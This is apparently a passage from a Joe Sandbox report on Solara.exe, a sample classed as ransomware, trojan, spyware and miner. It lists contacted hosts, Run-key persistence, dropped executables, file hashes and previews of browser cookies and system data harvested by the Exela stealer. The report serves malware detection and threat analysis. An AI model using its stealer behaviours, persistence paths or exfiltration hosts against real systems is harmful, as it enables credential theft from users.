http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000003.00000002.1405932041.000001F980001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1510441641.0000025600001000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/Pester/Pester	powershell.exe, 00000008.00000002.1510441641.0000025600228000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/pyca/cryptography/issues	Exela.exe	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
80.240.16.67	unknown	Germany	20473	AS-CHOOPAUS	false
51.91.7.6	api.gofile.io	France	16276	OVHFR	false
45.112.123.227	store1.gofile.io	Singapore	16509	AMAZON-02US	false
162.159.135.233	unknown	United States	13335	CLOUDFLARENETUS	false
162.159.134.233	discordapp.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589392
Start date and time:	2025-01-12 07:09:18 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	104
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Solara.exe
Detection:	MAL
Classification:	mal100.rans.troj.adwa.spyw.evad.mine.winEXE@155/141@5/7
EGA Information:	Successful, ratio: 25%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): Conhost.exe, dllhost.exe, consent.exe, SIHClient.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 4.175.87.197, 172.202.163.200
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, azureedge-t-prod.trafficmanager.net, time.windows.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target Solara.exe, PID 2044 because it is empty
Execution Graph export aborted for target Solara.exe, PID 3700 because there are no executed function
Execution Graph export aborted for target Solara.exe, PID 3896 because there are no executed function
Execution Graph export aborted for target Solara.exe, PID 5852 because it is empty
Execution Graph export aborted for target Solara.exe, PID 6364 because there are no executed function
Execution Graph export aborted for target conhost.exe, PID 4300 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 1512 because it is empty
Execution Graph export aborted for target powershell.exe, PID 1532 because it is empty
Execution Graph export aborted for target rdqanwpudvuj.exe, PID 7076 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Solara.exe

Simulations

Behavior and APIs

Time	Type	Description
01:10:29	API Interceptor	119x Sleep call for process: powershell.exe modified
01:10:39	API Interceptor	2x Sleep call for process: Solara.exe modified
07:10:41	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Solara C:\Users\user\AppData\Local\Temp\Solara.exe
07:10:50	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Solara C:\Users\user\AppData\Local\Temp\Solara.exe
07:11:10	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Exela C:\Users\user\AppData\Local\Temp\Exela.exe
07:11:19	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Exela C:\Users\user\AppData\Local\Temp\Exela.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	resembleC2.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	ip-api.com/json/?fields=225545
	F0DgoRk0p1.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	fpY3HP2cnH.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	4287eV6mBc.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	aik1mr9TOq.exe	Get hash	malicious	Predator	Browse	ip-api.com/json/
	DUWPFaZd3a.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	ip-api.com/line/?fields=hosting
	tb4B9ni6vl.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	juE8dtqPkx.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	YY3k9rjxpY.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	4LbgdNQgna.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
80.240.16.67	xmr new.exe	Get hash	malicious	Xmrig	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
discordapp.com	gshv2.exe	Get hash	malicious	Unknown	Browse	162.159.129.233
	PO_11171111221.Vbs.vbs	Get hash	malicious	FormBook	Browse	162.159.129.233
	WO-663071 Sabiya Power Station Project.vbs	Get hash	malicious	Remcos	Browse	162.159.129.233
	sNifdpWiY9.exe	Get hash	malicious	Metasploit, Meterpreter	Browse	162.159.134.233
	saloader.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	162.159.129.233
	EsgeCzT4do.exe	Get hash	malicious	XWorm	Browse	162.159.129.233
	file.exe	Get hash	malicious	Unknown	Browse	162.159.135.233
	file.exe	Get hash	malicious	CStealer	Browse	162.159.134.233
	https://cdn.discordapp.com/attachments/1284277835762110544/1305291734967779460/emu.exe?ex=67327f28&is=67312da8&hm=ea20e1c2a609dc1a0569bd4abb7e0da0a5e0671f3f7a388c1ed138f806c8e0c4&	Get hash	malicious	Unknown	Browse	162.159.135.233
	RLesaPFXew.exe	Get hash	malicious	SilverRat	Browse	162.159.133.233
s-part-0017.t-0009.t-msedge.net	https://terrific-metal-countess.glitch.me/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	http://procustodiavalueslive.github.io/mediantime1db1d62ef90e6fec5644546bc086f16336d68481479f56e29285a338fc23/	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	SAMPLE_5.exe.bin.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	drW0xB3OBb.dll	Get hash	malicious	Unknown	Browse	13.107.246.45
	FEdTp2g4xD.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	305861283730376077.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	1274320496157183071.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	944924352317221058.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	kzQ25HVUbf.exe	Get hash	malicious	Lokibot	Browse	13.107.246.45
	huuG7N3jOv.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
ip-api.com	resembleC2.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	208.95.112.1
	F0DgoRk0p1.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	fpY3HP2cnH.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	4287eV6mBc.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	aik1mr9TOq.exe	Get hash	malicious	Predator	Browse	208.95.112.1
	DUWPFaZd3a.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	208.95.112.1
	tb4B9ni6vl.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	juE8dtqPkx.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	YY3k9rjxpY.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	4LbgdNQgna.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
OVHFR	https://adopt0098.bitbucket.io/	Get hash	malicious	HTMLPhisher	Browse	91.134.82.79
	https://talktalk770.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	217.182.178.233
	DB5rQYsfd6.exe	Get hash	malicious	Remcos	Browse	198.50.242.157
	https://ville-tonnerre.com/CR_CM/config/information.php?access.x61307366953&&data.x=en_3abae6f9aa37b42f5c9bf622c	Get hash	malicious	Unknown	Browse	213.186.33.19
	Yv24LkKBY6.exe	Get hash	malicious	Unknown	Browse	94.23.158.211
	Yv24LkKBY6.exe	Get hash	malicious	Unknown	Browse	94.23.158.211
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	151.80.4.227
	4.elf	Get hash	malicious	Unknown	Browse	164.133.191.35
	frosty.x86.elf	Get hash	malicious	Mirai	Browse	51.178.95.194
	https://www.depoqq.win/geno	Get hash	malicious	Unknown	Browse	54.36.150.184
AS-CHOOPAUS	80P.exe	Get hash	malicious	I2PRAT	Browse	207.246.88.73
	4.elf	Get hash	malicious	Unknown	Browse	44.40.164.148
	zE1VxVoZ3W.exe	Get hash	malicious	FormBook	Browse	78.141.202.204
	Fantazy.mpsl.elf	Get hash	malicious	Unknown	Browse	44.40.164.150
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, XWorm, Xmrig	Browse	192.248.189.11
	miori.x86.elf	Get hash	malicious	Unknown	Browse	44.175.18.157
	xmr new.exe	Get hash	malicious	Xmrig	Browse	80.240.16.67
	eth.exe	Get hash	malicious	Xmrig	Browse	192.248.189.11
	cZO.exe	Get hash	malicious	Unknown	Browse	108.61.189.74
	Fantazy.arm7.elf	Get hash	malicious	Mirai	Browse	149.253.168.94
TUT-ASUS	resembleC2.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	208.95.112.1
	F0DgoRk0p1.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	fpY3HP2cnH.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	4287eV6mBc.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	aik1mr9TOq.exe	Get hash	malicious	Predator	Browse	208.95.112.1
	DUWPFaZd3a.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	208.95.112.1
	tb4B9ni6vl.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	juE8dtqPkx.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	YY3k9rjxpY.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	4LbgdNQgna.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\_MEI70882\VCRUNTIME140.dll	9g9LZNE4bH.exe	Get hash	malicious	Blank Grabber	Browse
	Holoscope-V1.3.5.exe	Get hash	malicious	Unknown	Browse
	dsoft.exe	Get hash	malicious	Python Stealer, Creal Stealer	Browse
	winws1.exe	Get hash	malicious	Unknown	Browse
	discord.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	cmd.exe	Get hash	malicious	Blank Grabber	Browse
	NEVER OPEN!.exe	Get hash	malicious	Python Stealer, Empyrean, Discord Token Stealer	Browse
	HeilHitler.exe	Get hash	malicious	Blank Grabber	Browse
	meN9qeS2DE.exe	Get hash	malicious	XWorm	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Exela.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	9949634
Entropy (8bit):	7.9953008751482715
Encrypted:	true
SSDEEP:	196608:bvcgJ3xukvmvNm1E8giq1g9KDeNMHFJMIDJ+gsAGKkRcSRK3ICT:Lc4m1m1NqV44Fqy+gs1hOIC
MD5:	0615D49BE12C174704A3DAAD945F7B56
SHA1:	90D67801DCFF362CE2C2ACCAFD5010C7F79567D6
SHA-256:	573A7F2FA701A7630318119D9E6D916CB8A0ACD87A0A2797B7197E9AE85C0071
SHA-512:	40D702B8FD2993AEEB09755E760D3611D76F927AE6831AB7066386D3A133257E06330DDFF2D28406B77C1D9E502E79A7A72B8984CE0D795948DA07DD03B9BEA9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......t=.30\.`0\.`0\.`{$.a7\.`{$.a.\.`{$.a:\.` ..`3\.` ..a9\.` ..a!\.` ..a.\.`{$.a;\.`0\.`.\.`{..a)\.`{..a1\.`Rich0\.`........PE..d...V@hg.........."....).....p...... ..........@.........................................`.................................................4...x....p..,....@..8"..............d...................................@...@............................................text...p........................... ..`.rdata..(*.......,..................@..@.data....S..........................@....pdata..8"...@...$..................@..@.rsrc...,....p......................@..@.reloc..d...........................@..B........................................................................................................................................................................................................................................................

C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\Solara.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5527040
Entropy (8bit):	6.581917643476937
Encrypted:	false
SSDEEP:	98304:WTbZDzL0GH1JmXFBbbYnHhcWACCR2rbh27ns0ftj371GJfo0PhtpQ9un:ebZDfHmXzIHSWbI2rAnXdxG5PhtpQM
MD5:	089094590DF5698B03A7428A5864ED33
SHA1:	6A4866B798A38E40B61095E2C4A6861B15F4CABB
SHA-256:	C3B138B65057D5A27D859763974A3AFE5DF2693CE64326D36AE8784D092929C7
SHA-512:	001C4AEEDDCBFAA9B979E81B742391C6EC6F9400B23B8B5827C69C7E8C36BD9E8576146F0487C3522DECA21E1488A36C948DFF3C69B2C441406F2081EAD09E4D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 83%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....dg.........."...........S.....@..........@..............................T...........`.................................................@...<.....P.. ...pP...............T.x...............................(.......8...............`............................text.............................. ..`.rdata...&.......(..................@..@.data....tO......^O.................@....pdata.......pP......,P.............@..@.00cfg........P.......P.............@..@.tls..........P......0P.............@....rsrc.... ....P.."...2P.............@..@.reloc..x.....T......TT.............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	9949634
Entropy (8bit):	7.9953008751482715
Encrypted:	true
SSDEEP:	196608:bvcgJ3xukvmvNm1E8giq1g9KDeNMHFJMIDJ+gsAGKkRcSRK3ICT:Lc4m1m1NqV44Fqy+gs1hOIC
MD5:	0615D49BE12C174704A3DAAD945F7B56
SHA1:	90D67801DCFF362CE2C2ACCAFD5010C7F79567D6
SHA-256:	573A7F2FA701A7630318119D9E6D916CB8A0ACD87A0A2797B7197E9AE85C0071
SHA-512:	40D702B8FD2993AEEB09755E760D3611D76F927AE6831AB7066386D3A133257E06330DDFF2D28406B77C1D9E502E79A7A72B8984CE0D795948DA07DD03B9BEA9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......t=.30\.`0\.`0\.`{$.a7\.`{$.a.\.`{$.a:\.` ..`3\.` ..a9\.` ..a!\.` ..a.\.`{$.a;\.`0\.`.\.`{..a)\.`{..a1\.`Rich0\.`........PE..d...V@hg.........."....).....p...... ..........@.........................................`.................................................4...x....p..,....@..8"..............d...................................@...@............................................text...p........................... ..`.rdata..(*.......,..................@..@.data....S..........................@....pdata..8"...@...$..................@..@.rsrc...,....p......................@..@.reloc..d...........................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Solara.exe.log

Download File

Process:	C:\Users\user\Desktop\Solara.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	654
Entropy (8bit):	5.380476433908377
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp1OKbbDLI4MWuPOKfSSI6Khap+92n4MNQp3/VXM5gXu9tv:ML9E4KQwKDE4KGKZI6Kh6+84xp3/VclT
MD5:	30E4BDFC34907D0E4D11152CAEBE27FA
SHA1:	825402D6B151041BA01C5117387228EC9B7168BF
SHA-256:	A7B8F7FFB4822570DB1423D61ED74D7F4B538CE73521CC8745BC6B131C18BE63
SHA-512:	89FBCBCDB0BE5AD7A95685CF9AA4330D5B0250440E67DC40C6642260E024F52A402E9381F534A9824D2541B98B02094178A15BF2320148432EDB0D09B5F972BA
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\04de61553901f06e2f763b6f03a6f65a\Microsoft.VisualBasic.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\19882742-CC56-1A59-9779-FB8CBFA1E29D.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	672717
Entropy (8bit):	7.997988879641276
Encrypted:	true
SSDEEP:	12288:4HDXpH8NIPE6Tp5JuK2DpveyOFTmzBAnooROh3+tZzf2T1rYzrDj:4jXpP/PJkNvO5mCooRO58f2T1cDj
MD5:	C586B2EC4E9D001FAB6A82C77FB7024E
SHA1:	1A2756E38A2D02462201B43A360C55F5FA866C75
SHA-256:	949B456B7B8F29C5F1A1A49EDA398E6E6360E5243505C4A324925063A16806AD
SHA-512:	8E19A0CCDD245498EFCA85FB6A4A9995F32322E2F9F2849C2D3BE4F18FA6CEEBCED836B6DD8F736FBCA1F51FD7972803612452D41AEC46738F9B886D3309435C
Malicious:	false
Preview:	PK........m.,Z................Browsers/PK........l.,Z................Wallets/PK........m.,ZG.W......E......Display (1).pngl..PS[..}.@.JG@z......wD.....F)RBM..T.(....R.......R.......$..{..o.a....a=.....I..4;.r.......m......`:C;.d......[3C.\|Hp.......T....=...g....._O.A=.......5c.[!.,....>.0.:..u.K........t.+.T.......kT.CD..9?._..tG.sB.K;..........9z.cb88g.ff#}Z.F../U.}.%.e...5Wg....]O...+i..M{4...o.Y.R(N..p....~...>.+7{73H5b.....J...Yt'q..............;.u.....q.P..`.s......y.Z..!.u..._..\.K...T"L4.g......\|.....s.....L....,.]N)z>.....3..g.a......#C..oc+.....^...i.?......~y:_...S....+4Ku..E....n......9.......c=;....W._G..rX..:s.8..y...jU.7.u.. a9<..}...{.\|Y.0 .J.......MO=..0...R...;`.s..\|=..'.....Jj................Zw.dU.>.U.c.xM...Q?V......F.._..\|.f..$Q8gm.p.r.+.R..l.xkuJ.~...}N....F..=..._.\..l.U..4y.A.p..r.V...F...:oG.7......r.."..P.... ...Q?\^y.Pg.........i.OI. ...m@i]V.337..>g9t..`....3..<%<..P.PvN$.O.v...#..0.=....@.j..r..J(.

C:\Users\user\AppData\Local\Temp\19882742-CC56-1A59-9779-FB8CBFA1E29D\Browsers\Cookies.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	432
Entropy (8bit):	5.365627083720754
Encrypted:	false
SSDEEP:	6:Lv5hOs3rsLgxbh+3r4wyXfaaW3UnhzrWgOsH6/8hwDFI0BFOqv5:L6s7JH+74xva3UhyL/8ObW0
MD5:	7C02C56F7D8D62510B3E7117500612A9
SHA1:	8F0FF1F5911101E6AB63418BB2FEBAACA431D2F2
SHA-256:	FF7A4ACC9936170BEC4315DC059166C35947BB1EBAFF79CB872BE680987802AA
SHA-512:	C21F998A73F557EBD6D4C4F160E5501B506B261E5D2CD058FAD0D9B453A469D640DFAF8970B3EB87A84FD3C4CBB0DE260309C1A769875E895DF88E8CCFE921A4
Malicious:	false
Preview:	----------------------https://t.me/ExelaStealer----------------------..======================================================================...google.com.TRUE./.FALSE.13343557341976489.1P_JAR.2023-10-05-07...google.com.TRUE./.FALSE.13356776540976533.NID.511=nNadqW9uTcY0OP6I3afnr71o6EzaYLsdpW4UEYN3vYq_rbRrNFxM1jozPGuhjORBZKKMz2tdDpVe7dNuTWp4CyK-zt5Is6wVElveWAfKQgwNJiKKtXHCCCmrlgzZTl5CiKjTeA2iQqf6zlRK2h8wg1hVpIsWsaKqaWJyHMPF3JA..

C:\Users\user\AppData\Local\Temp\19882742-CC56-1A59-9779-FB8CBFA1E29D\Browsers\Firefox\History.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	4.080991549130857
Encrypted:	false
SSDEEP:	24:L5xsMvXvxsajXJl1QXbsBQXY6CQExXBYGQ/DQq:LzlVVgmHgWdIL
MD5:	F18314817A772931B00698F5A9B09E9E
SHA1:	B744180F0287AD559E675650270FB64DC72F3293
SHA-256:	36A65866F8EA99B62DC1443C1177A62F51EDC513D4970D95B51AD4397B4936E1
SHA-512:	087C6FB37447A32F8EE62EAE88B984B4297561D77A1CA17E4B8DB520D0D93A7E30EBD7299E44178DE5078FD3FC74A443C3136966266825BAB2EE97FD792E44A8
Malicious:	false
Preview:	----------------------https://t.me/ExelaStealer----------------------..======================================================================..ID: 1..RL: https://support.mozilla.org/products/firefox..Title: None..Visit Count: 0..Last Visit Time: None..====================================================================================..ID: 2..RL: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-browser&utm_medium=default-bookmarks&utm_campaign=customize..Title: None..Visit Count: 0..Last Visit Time: None..====================================================================================..ID: 3..RL: https://www.mozilla.org/contribute/..Title: None..Visit Count: 0..Last Visit Time: None..====================================================================================..ID: 4..RL: https://www.mozilla.org/about/..Title: None..Visit Count: 0..Last Visit Time: None..=========================================================================

C:\Users\user\AppData\Local\Temp\19882742-CC56-1A59-9779-FB8CBFA1E29D\network_info.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	266
Entropy (8bit):	4.281502386532761
Encrypted:	false
SSDEEP:	3:111T8/s5hO7y9MHUXMERwLM7N3U2bX5A3EwAyEY5HLWLASPVXqI:Lv5hOP0X3RwwN3UuJA01K5CLpqI
MD5:	23FB26C06CE6C057071E5346E4BF5BE2
SHA1:	37E496FFFE731FC7AD155EE169642AF0DF7BA0C7
SHA-256:	C7CDD16409A9F45463E6954219417EC5C7BC4EE66A0BCACC754D8D5C221F1E55
SHA-512:	40E58FD7AEC9FBA2399F98374CB238B294FFF15417DBEA05DA1659158E4025795FFFE23E41BACD2A97C8F9E9FC212BF073A3C6C2BC4DB69B8BE168DDB996018B
Malicious:	false
Preview:	----------------------https://t.me/ExelaStealer----------------------..======================================================================..8.46.123.189..United States..New York..America/New_York..Level 3 CenturyLink Communications, LLC AS3356 Level 3 Parent, LLC

C:\Users\user\AppData\Local\Temp\19882742-CC56-1A59-9779-FB8CBFA1E29D\process_info.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	23723
Entropy (8bit):	4.613580146969316
Encrypted:	false
SSDEEP:	384:jiRuTGmRt2RiTNNaWwlgrU0VEPzzVg4pNESw8+29hE1lEiXlqVnZfrcZTGydsTkm:VG+hiy0
MD5:	D2CA9C48293B11CF795EFAC8AE4B959E
SHA1:	49EE92FB742463EA6302E63DFE20D83E1F06FFDC
SHA-256:	A900711552443BA252CD34ADEC731F775194C23238AD7DA552232C662031B260
SHA-512:	E30F01ECA911FE868B40362384B827846C50AD71CC8D35D6B5B99148384A6A2D4C95F14E7D0C686B5382AF9C959C55FAF46931C0FB32A33267C632FAA5A005FB
Malicious:	false
Preview:	----------------------https://t.me/ExelaStealer----------------------..======================================================================.....Image Name: System Idle Process...PID: 0...Session Name: Services...Session#: 0...Mem Usage: 8 K......Image Name: System...PID: 4...Session Name: Services...Session#: 0...Mem Usage: 164 K......Image Name: Registry...PID: 92...Session Name: Services...Session#: 0...Mem Usage: 27'356 K......Image Name: smss.exe...PID: 328...Session Name: Services...Session#: 0...Mem Usage: 1'240 K......Image Name: csrss.exe...PID: 412...Session Name: Services...Session#: 0...Mem Usage: 5'236 K......Image Name: wininit.exe...PID: 488...Session Name: Services...Session#: 0...Mem Usage: 6'740 K......Image Name: csrss.exe...PID: 496...Session Name: Console...Session#: 1...Mem Usage: 5'796 K......Image Name: winlogon.exe...PID: 556

C:\Users\user\AppData\Local\Temp\19882742-CC56-1A59-9779-FB8CBFA1E29D\system_info.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	Algol 68 source, ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	142799
Entropy (8bit):	4.350126960481219
Encrypted:	false
SSDEEP:	1536:SKfvqoX6mhzP3Z5OwXJF6Ebu02LZvzpSl79cTSIZ0tdHlwOYUBUgSgshWQCvYh/K:SKOHq9
MD5:	8009165433F99AE08ABB2ABD22DDB4DE
SHA1:	171FCD047CF9168FEE092061CA34550619B81F3F
SHA-256:	5E4CD31A3BD6393998F0E05162235490F2D8AF732C86D34298EA14BAFC6A757E
SHA-512:	CFDABE595F06E86B961E77159DFBE2586D6C5D855DC6FF6C11E05704BEC6E555DB5074D994DC4D5F722CDA543D3A5E194251AF3C0213150ECAD16B7A6DA92044
Malicious:	false
Preview:	----------------------https://t.me/ExelaStealer----------------------..======================================================================..####System Info#### ......Host Name: user-PC...OS Name: Microsoft Windows 10 Pro...OS Version: 10.0.19045 N/A Build 19045...OS Manufacturer: Microsoft Corporation...OS Configuration: Standalone Workstation...OS Build Type: Multiprocessor Free...Registered Owner: hardz...Registered Organization: ...Product ID: 00330-71431-70592-AAOEM...Original Install Date: 03/10/2023, 10:57:18...System Boot Time: 25/09/2023, 09:52:52...System Manufacturer: pDO7PrAaXmaLVnf...System Model: LFvlO26K...System Type: x64-based PC...Processor(s): 2 Processor(s) Installed.... [01]: Intel64 Family 6 Model 143 Stepping 8 GenuineIntel ~2000 Mhz... [02]:

C:\Users\user\AppData\Local\Temp\AutofillData.db

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Cookies.db

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
